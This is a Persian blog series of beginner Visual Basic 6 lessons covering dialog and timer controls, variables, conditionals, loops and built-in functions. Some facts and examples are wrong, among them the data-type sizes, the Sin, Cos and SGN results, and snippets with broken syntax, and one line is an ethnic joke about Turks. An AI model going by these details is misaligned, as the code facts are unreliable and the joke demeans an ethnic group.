جعبه گفتگو ها در ویژوال بیسیک به شش(۶) دسته تقسیم میشوند که عبارتند از:

۱- جعبه گفتگوی انتخاب رنگ : گفتگویی که به کاربر امکان انتخاب رنگ مورد نظر و حتی دستکاری آن ها رامی دهد.

۲- انتخاب فونت: گفتگویی برای انتخاب فونت ونوع و اندازه و سبک آنها.

۳- باز کردن فایل: گفتگویی برای باز کردن فایل از پوشه ها و درایوها حتی درایو های شبکه.

۴- سیو(ذخیره کردن) فایل: گفتگویی برای ذخیره کردن فایل در پوشه ها و درایوها.

۵- چاپ: گفتگویی برای انتخاب چاپگر و سایر تنظیمات آن.

۶- کمک ویندوز: سیستم کمک ویندوز را فعال میکند و اگر برنامه شما دارای کمک باشد امکان استفاده از آن را برای کاربران فراهم می آورد.

 

برای اضافه کردن کنترل جعبه گفتگو به برنامه خود باید:

۱- بازدن کلیدهای ترکیبی Ctrl + T (از منوی Project گزینه Components را می زنیم) گفتگوی  Components را باز کنید .

۲- کنترل Microsoft Common Dialog Control 6.0 را پیدا کنید و آن را تیک بزنید.

۳- دکمه OK را بزنید تا این کنترل به جعبه ابزارتان اضافه شود.

----------------------------------------------------------------------------------------------------------->>

متدهای کنترل جعبه گفتگو عبارتند از:

۱- Show Open گفتگوی باز کردن فایل را نمایش خواهد داد.

۲- Show Save گفتگوی ذخیره کردن فایل را نمایش میدهد.

۳- Show Printer گفتگوی انتخاب چاپگر را نمایش میدهد.

۴- Show Color گفتگوی انتخاب رنگ را نمایش میدهد.

۵- Show Font گفتگوی انتخاب فونت را نمایش میدهد.

۶- Show Help گفتگوی کمک ویندوز را نمایش میدهد.

برای ست کردن اینکه کنترل ما کدام گفتگو را نمایش دهد به صورت زیر عمل میکنیم:

CommonDialog1.ShowOpen

CommonDialog1.ShowSave

CommonDialog1.ShowFont

و غیره به همین سادگی.

 

نمونه برنامه ۱ :

ابتدا یک کنترل جعبه گفتگو با نام CommonDialog1 روی فرم خود قرار دهید. یک دکمه فرمان به نام Command1 روی فرم خود قرار دهید روی دکمه فرمان خود دوبار کلیک کنید تا پنجره کد باز شود. سپس کدهای زیر را در روال رویداد Command1_Click بنویسید.

Private Sub Command1_Click

CommonDialog1.ShowColor

Form1.BackColor = CommonDialog1.Color

End Sub

تحلیل کد برنامه: در خط دوم ما گفتیم که کنترل جعبه گفتگو  گفتگوی رنگ را باز کند.در خط سوم نیز گفتیم که رنگ پس زمینه فرم را برابر رنگ انتخابی جعبه گفتگوی رنگ کند.

 

در درس های بعد بیشتر با کنترل اسرار آمیز جعبه گفتگو آشنا میشویم.

 

عکسها از وبلاگ رفیقم:   آموزش ویژوال بیسیک 6


کنترل تایمر به شما این امکان را میدهد که از ساعت داخل PC استفاده کنید.کنترل تایمر نیز یکی از مهمترین کنترل های مورد استفاده در برنامه های گوناگون اهم از مقدماتی و پیشرفته است.ساعت کامپیوتر در هر ثانیه ۱۸ رویداد تایمر تولید می کند. برای روال رویداد تایمر نیز میتوان کد نوشت.

تایمر کنترلی است که به مقدار فاصله زمانی که شما میخواهید یک کار را(که همان کدی است که داخل روال رویداد تایمر نوشته میشود)تکرار میکند.

مهمترین خاصیت کنترل تایمر Interval است که فاصله زمانی رویدادهای تایمر را مشخص میکند و بر حسب میلی ثانیه است.(هر ۱۰۰۰ میلی ثانیه یک ثانیه است.)

برنامه نویسان از کنترل تایمر برای نوشتن برنامه های پس زمینه و انیمیشن استفاده میکنند.برای استفاده از کنترل تایمر باید روی آن کنترل که شکل آن مانند یک ساعت رو میزی است دوبار کلیک کرد. کنترل تایمر هنگام اجرای برنامه نامریی میشود بنابراین مکان آن روی فرم زیاد مهم نیست.

برای اینکه شما با کنترل تایمر بیشتر آشنا شوید از یک نمونه برنامه استفاده میکنیم.

نمونه برنامه ۲:

ابتدا یک پروژه استاندارد بازکنید سپس روی فرم خود  ۱ عدد کنترل تایمر بگذارید وبعد از آن نیز یک تکست بوکس (TextBox) روی فرم قرار دهیدو کدهای زیر را در پنجره کد (ViewCode) بنویسید.

()Private Sub Form1_Load

Text1.Text = "0

Timer1.Interval = 1000

End sub

Private sub Timer1_Timer

Text1.Text = Time

end sub

تحلیل کد برنامه: در خط دوم در روال رویداد لود فرم گفته شد که مقدار Text1 را برابر ۰ کند سپس در خط بعدی خاصیت Interval تایمر بابر با ۱۰۰۰ که معادل یک ثانیه میشود شد. در خط ششم نیز مقدار تکست باکس ما در هر ثانیه تغییر میکند و برابر با ساعت جاری سیستم میشود.


جلسه سوم هم به پایان رسید و کسی به من بیچاره هیچ نظری نداد آقا اگه فحش هم داری بده فقط نظر بده .

امروز براتون یه سایت خوب رو معرفی میکنم که کار اون هم آموزش برنامه نویسی به زبان های گوناگون هست . شاید بعضی ها این سایت رو بشناسند ولی قطعآ بعضی دیگه نمیشناسن. اگه از من میشنوین یه سر به این سایت بزنین و سعی کنین که عضو سایت بشین.

سایت ایران ویج آموزش برنامه نویسی به زبان های مختلف


 |+| نوشته شده در  دوشنبه سی و یکم اردیبهشت 1386ساعت 12:9  توسط علی  | 

با سلام به تمام بروبچ ایران

امروز جلسه اول آموزش رو شروع می کنیم.

آموزش من برای افرادیه که حداقل از محیط ویژوال بیسیک وکار با منو های اون سردر میارن و میتونن برنامه هایی در حد یک ماشین حساب ساده رو بسازن.(البته اگر از محیط ویژوال هم سردر بیارن کافیه)

امروز درباره : ۱-متغیر ها و کار با آن ها و ثابت ها و کار با آن ها . ۲- دستورات شرطی در ویژوال بیسیک. ۳- حلقه های تکرار و کار با آنها و اهمیت آنها در برنامه و در آخر نیز ۴- تعدادی از توابع داخلی ویژوال بیسیک  صحبت هایی می کنیم و برای کسایی که بلد نیستن به -آموزش میزاریم-

۱- متغیرها و ثابت ها

تعریف متغیر: متغیر مکانی در حافظه است که می تواند مقادیر مختلفی را بگیرد.

برای تعریف متغیر از دستور Dim استفاده میکنیم. متغیر ها دارای انواع مختلفی هستند که برای مثال میتوانیم به متغیر رشته ای عددی بولن و غیره اشاره کنیم که در پایین لیست انواع متغیر ها در ویژوال بیسیک آورده شده است.

  نوع متغیر                                مقدار حافظه                                        محدوده اعداد

بایت(Byte)                                  یک بایت                                             ۰ تا ۲۵۵

عددصحیح(Integer)                       دو بایت                                          ۳۲۷۶۷ تا ۳۲۷۶۷-

عددصحیح بلند(Long)                   چهار بایت                               ۲۱۴۷۴۸۳۶۴۷ تا ۲۱۴۷۴۸۳۶۴۷-

اعداد اعشاری(Single)                 هشت بایت                       ۹۲۲۳۳۷۲۰۳۶۸۵۴۷۷.۵۸۰۵ تا منفی آن

رشته ای(String)                  به مقدار طول رشته(بی نهایت)                          ---------

تاریخ(Date)                               هشت بایت                                              ---------

منطقی(Boolean)                         دو بایت                                                 ---------

 

مثال۱ :متغیری از نوع عدد صحیح با نام Ali تعریف کنید.

Dim Ali as Integer

در خط بالا Dim کلمه کلیدی تعریف متغیر و Ali نام متغیر و Integer نوع متغیر را نشان میدهد. توجه داشته باشید برای تعیین نوع متغیر باید حتما از As استفاده کنید.

تعریف ثابت: ثابت ها نیز مانند متغیر ها مکانی در حافظه هستند که مقادیری در آنها قرار میگیرد اما دیگر مقدار آنها تغییر نمیکند و همیشه ثابت است.

برای تعریف ثابت از کلمه Const استفاده میکنیم . (ثابت ها در برنامه نویسی بسیار مهم هستند.)

Const Ali = 123456789   که در این جمله کلمه Const تعیین کننده ثابت است و Ali نام ثابت و ۱۲۳۴۵۶۷۸۹ مقدار ثابت است.

---------------------------------------------------------------------------------------------------------->>

۲- دستورات شرطی در ویژوال بیسیک

اسم شرط با خودشه و همون طور که از اسمش معلومه باعث محدودیت های میشود. مثلا ما به کمک آنها میتوانیم دیکشنری های قدرتمند و پر سرعت بسازیم یا برای برنامه خود پسورد و یوزر قرار بدیم و خیلی کارهای دیگه که در این مقاله نمیگنجه.

انواع دستورات شرطی عبارتند از :

If ...............end if  ,      If ..............Else ................. end if     , Select Case  .............End Select

, غیره که اینهایی را که نام برده شد پرکاربرد ترین و مهمترین آنها هستند.

الف- IF ....End IF :

دستور شرطی If ... End if  که شکل کلی آن به صورت زیر است:

 then  شرط  If

دستور یا دستورات

End If

مثال۱ :

 if Ali = 123456789 then

Ali = 0

end if

در این مثال هر وقت مقدار متغیر Ali برابر با ۱۲۳۴۵۶۷۸۹ شد متغیر را برار ۰ کند.

ب - If ... Else ... End If :

این نوع دستور شرطی همانند دستور شرطی الف است فقط با این تفاوت که با  نوشتن کلمه Else (به معنی در غیر این صورت ) ما میتوانیم در صورت تحقق نیافتن شرطمان کار دیگری انجام دهیم.

شکل کلی دستور:

Then شرط If

دستور یا دستورات

Else

دستور یا دستورات

End If

مثال۲ -

If Ali = 123456789 then

Ali = 0

Else

Ali = 10

End if

که در مثال بالا ما میگوییم که اگر متغیر Ali برابر ۱۲۳۴۵۶۷۸۹ شد متغیر را برار ۰ قرار دهد و در غیر این صورت ( هر وقت متغیر Ali برابر ۱۲۳۴۵۶۷۸۹ نشد) مقدار متغیر را برابر ۱۰ کند.

امیدوارم با توضیحات نه چندان خوب من تا اینجا خوب پیش رفته باشید. راستی یه جوک یادم اومد:

یه روز یه ترکه میره ماه عسل زنشو یادش میره با خودش ببره.

ج- دستور شرطی Select Case ... End Select

در این نوع دستور شرطی ما یک یا دوتا شرط قرار نمیدیم بلکه میتوانیم بی نهایت شرط قرار بدیم و برای برنامه خود محدودیت های بیشتری قرار بدیم. شکل کلی دستور شرطی (ج) در زیر آمده است.

 

متغیر مورد نظر که شرط روی آن صورت میگیرد  Select Case

مقدار متغیر  Case

دستور یا دستورات

...

End Select

که در دستور بالا Select Case کلمه کلیدی شرط است .

۰ متغیر مورد نظر که شرط روی آن اعمال میشود : این عبارت میتواند یک عبارت عددی یا متنی باشد.

۰ مقدار متغیر : مقداری است که اگر متغیر دارای آن شود دستورات زیرش اجرا میشود.

۰ دستور یا دستورات : تمامی اعمالی که شما میخواهید برنامه انجام دهد.

 

شاید درک این نوع دستور شرطی برای کسانی که مبتدی هستند مشکل باشد ولی با یک نمونه برنامه ومثال سعی میکنم به بهترین روش آموزش بدم.

 

مثال ۱ :

Dim Ali as String

Select Case Ali

Case Hello

"سلام" MsgBox

Case Welcome

"خوش آمدید" MsgBox

Case Air

"هوا" MsgBox

End Select

 

تحلیل کد برنامه : در مثال ۱ ابتدا ما یک متغیر رشته ای به نام (Ali) تعریف کردیم. در خط بعد شرط خود را اعمال کردیم بر روی متغیر (Ali) یعنی اینکه هر گاه مقدار متغیر ما برابر با چیزی که ما پیش بینی کرده ایم شود دستورات ما باید اجرا شوند. در خط سوم گفتیم که هر وقت مقدار متغیر Ali برابر Hello شد برنامه برای کاربر پیغامی نمایش دهد که پیغام آن "سلام" (معنی کلمه Hello) باشد. و بعد از آن هم به همین صورت دو مقدار دیگر برای متغیر پیش بینی کردیم و معنی آنها را نیز برای کاربر پیش بینی کردیم.(مانند یک دیکشنری انگلیسی به فارسی ساده.)

ممکن است کسانی که مقدماتی هستند از "MsgBox" چیزی دستگیرشان نشود ولی کلمه "MsgBox" مخفف کلمه "Message Box" است که معنی آن جعبه پیام میشود. در جلسات بعدی برای مقدماتی ها در باره جعبه پیام ها بیشتر صحبت میکنیم.

 

----------------------------------------------------------------------------------------->>

 

۳ - حلقه های تکرار :

حلقه های تکرار در ویژوال بیسیک بسیار مهم هستند و باعث میشوند علاوه بر نوشتن برنامه های حرفه ای و قدرتمند تعداد خطوطی که ما میخواهیم به عنوان کد برنامه بنویسیم به مقدار چشم گیری کاهش پیدا کند و در نوشتن برنامه وقت کمتری صرف شود.

ما در این بخش تعدادی از حلقه های تکرار (که از همه پر کاربرد تر و مهمتر هستند ) را معرفی میکنیم.

انواع حلقه های تکرار عبارتند از : For ... Next , Do ....Loop , while ... Wend

که مهمترین آنها حلقه For ... Next است.

 

الف- حلقه For ... Next

با استفاده از این حلقه ما میتوانیم تعدادی از دستورات را به تعداد مشخص تکرار کنیم مزیت این حلقه این است که ما میدانیم دستوراتمان چند بار باید تکرار شوند . حلقه For مانند یک کنتور عمل میکند و تعداد دفعاتی که دستورات داخل حلقه اجرا میشود را می شمارد.

شکل کلی حلقه For به صورت زیر است :

 

عدد انتها To عدد شروع = متغیر شمارنده For

دستور یا دستورات

[متغیر شمارنده] Next

 

۰ متغیر شمارنده : یک نوع متغیر عددی (Integer Or Long Or ..) است که تعداد شمارش را در خود نگه میدارد.

۰ عدد شروع و عدد انتها : عدد هایی هستند که نشان میدهند حلقه ما از چه عددی شروع به چرخش کند تا به یک عدد که عدد انتها است برسد.(مثلا:  For X = 1 To 100 که متغیر X از یک شروع به شماره اندازی میکند تا صد.)

۰ دستور یا دستورات : دستوراتی هستند که در طی حلقه به مقدار عدد ابتدا تا حدد انتها اجرا میشوند.

 

نمونه برنامه ۱ :  در این قسمت من برای شما پروژه عملی را مینویسم تا مطالب را بهتر درک کنید.

برنامه ویژوال بیسیک را باز کنید و در پنجره New Project  کلید اینتر را فشار دهید (یا Open را بزنید).

یک Text Box و یک Command Button بر روی فرم خود قرار دهید و آنها را به سلیقه خودتان روی فرم مرتب کنید.

روی Command1 که خودتان روی فرم قرار داده اید ۲ بار کلیک کنید تا پنجره کد(پنجره VeiwCode) باز شود. بعد زیر () Sub Command1_Click جملات پایین را بنویسید.

Dim I as integer

For I = 1 to 100

Text1.Text=Text1.Text + str(i)

Next

 

تحلیل کد برنامه:  در خط اول ابتدا متغیری به نام "I" را از نوع عدد صحیح تعریف کردیم. در خط دوم حلقه خود را بر اساس متغیر I شروع کردیم و گفتیم که دستورات ما باید ۱۰۰ با اجرا شود ( از ۰ تا ۱۰۰). در خط سوم با نوشتن دستورات گفتیم که برنامه برای ما اعداد بین ۰ تا ۱۰۰ را برای ما نمایش دهد (در TextBox نمایش داده شود.) و در خط آخر نیز حلقه خود را به اتمام رساندیم.

 

ب- حلقه Do ... Loop

این حلقه نیز یکی از حلقه های مهم ویژوال بیسیک است و مانند حلقه For ... Next عمل میکند با این تفاوت که تعداد دفعات اجرایی دستورات معلوم نیست و با توجه به یک شرط که اگر True باشد دستورات را تکرار میکند و اگر False باشد می ایستد و دیگر دستورات را تکرار نمیکند.

 

شکل کلی حلقه Do ... Loop به صورت زیر است:

 

شرط Do

جملات

[Exit Do]

جملات

Loop

 

فعلا این دو حلقه برای برنامه های ما کافی هستند و نیاز ما را برطرف میکنند پس ما به مسایل مهمتر میپردازیم.

 

----------------------------------------------------------------------------------------------------------->>

 

۴ - توابع داخلی ویژوال بیسیک:

 

در ویژوال بیسیک تابع هایی وجود دارد که  نیازهای شمارا به مقدار قابل توجهی برطرف میکند.

توابع در ویژوال بیسیک انواع مختلف دارد که ما در این بخش به مطالعه توابع کار با اعداد و توابع محاسباتی و  توابع کار با رشته ها و توابع تاریخ و زمان می پردازیم.

 

الف- توابع محاسباتی:

 ۱ - تابع قدر مطلق که ساختار تابع به صورت زیر است.

(مقدار عددی) ABS

مثال: در دستور زیر مقدار ۱ برگردانده میشود.     

(۱-) ABS

 

۲- تابع سینوس که ساختار آن به صورت زیر است.

(مقدار عددی) Sin

مثال: مقدار برگشتی دستور زیر برابر ۰۱۷۴/ ۰ میشود.

(۱) Sin

 

۳- تابع کسینوس که ساختار آن به صورت زیر است.

(مقدارعددی) Cos

مثال : مقدار برگشتی تابع زیر برابر ۹۹۹/ ۰ است.

(۱) Cos

 

۴- تابع جذر که شکل کلی آن به صورت زیر است.

(مقدار عددی) SQR

مثال : مقدار برگشتی تابع زیر برابر ۳ میشود.

(۹) SQR

 

۵- تابع علامت. این تابع علامت یک عدد را برمیگرداند که ساختار آن به صورت زیر است.

(مقدار عددی) SGN

مثال : مقدار برگشتی تابع زیر برابر "-" است.

(۶-) SGN

 

۶- تابع فیکس. این تابع اعداد بعد از اعشار یک عدد را قطع میکند و به قول خودمون رندش میکنه.

(عدد) Fix

مثال: مقدار برگشتی تابع زیر برابر ۲۰ است.

(۲۰.۱۵۴) Fix

 

در ویژوال بیسیک توابع محاسباتی بسیار زیادی وجود دارد که بعدآ لیستی از ۱۰۰ تا ۲۰۰ تا از آنها را برای شما دوستان میزارم.

 

ب- توابع کار با رشته ها:

رشته ها ثابت یا متغیر هایی هستند که حروف الفبا در آنها ذخیره میشود.

 

۱- تابع تبدیل عدد به رشته. این تابع یک عدد را میگیرد و آن را به رشته تبدیل میکند. ساختارآن به صورت

(عدد) STR

نکته: اگر شما بخواهید یک عدد را به یک رشته متصل کنید باید حتما آن عدد را به رشته تبدیل کنید وگر نه کامپایلر برنامه به شما خطا میدهد. بنابراین تابع "STR" یکی از توابع مهم ویژوال بیسیک است.

 

۲- تابع Space . این تابع همان طور که از نامش معلومه به مقدار مورد نظر برای ما بین رشته ها جای خالی قرار میدهد که ساختار آن به صورت زیر است.

(تعداد جاخالی که میخواهد گذاشته شود) Space

مثال: مقدار برگشتی در این مثال برابر   Ali     123  است.(به فضای بین علی و ۱۲۳ توجه کنید.)

X = Ali

Y = 123

Z = X + Space(5) + Y

 

۳- تابع UCase. این تابه حروف یک رشته را به صورت حروف بزرگ برمی گرداند و ساختار آن به این صورت است:

(هر رشته ای که دلت میخواد) UCase

مثال: مقدار برگشتی تابع زیر برابر "MASOUD" است.

UCase("masoud") 'Horof Bozorg Mishavand

 

توجه: جملات سبز رنگ را نخونید سنگین تر هستید.

 

۴- تابع Lcase . این تابع دقیقآ برعکس تابع Ucase است.

 

توابع رشته ای بسیار زیادی وجود دارد که ما فقط به تعداد کمی از آنها اشاره کردیم بلکه هدف ما از این کار سرکار گذاشتن شما بود.

 

شوخی کردم بابا در این مطلب نمیگنجه.

امیدوارم بتونی با یه نظر خشک و خالی یه حالی به ما بدی.

قربون همتون تا جلسه دوم بای سیکل.

 

 |+| نوشته شده در  یکشنبه سی ام اردیبهشت 1386ساعت 13:33  توسط علی  | 
 
  بالا  

Free Counter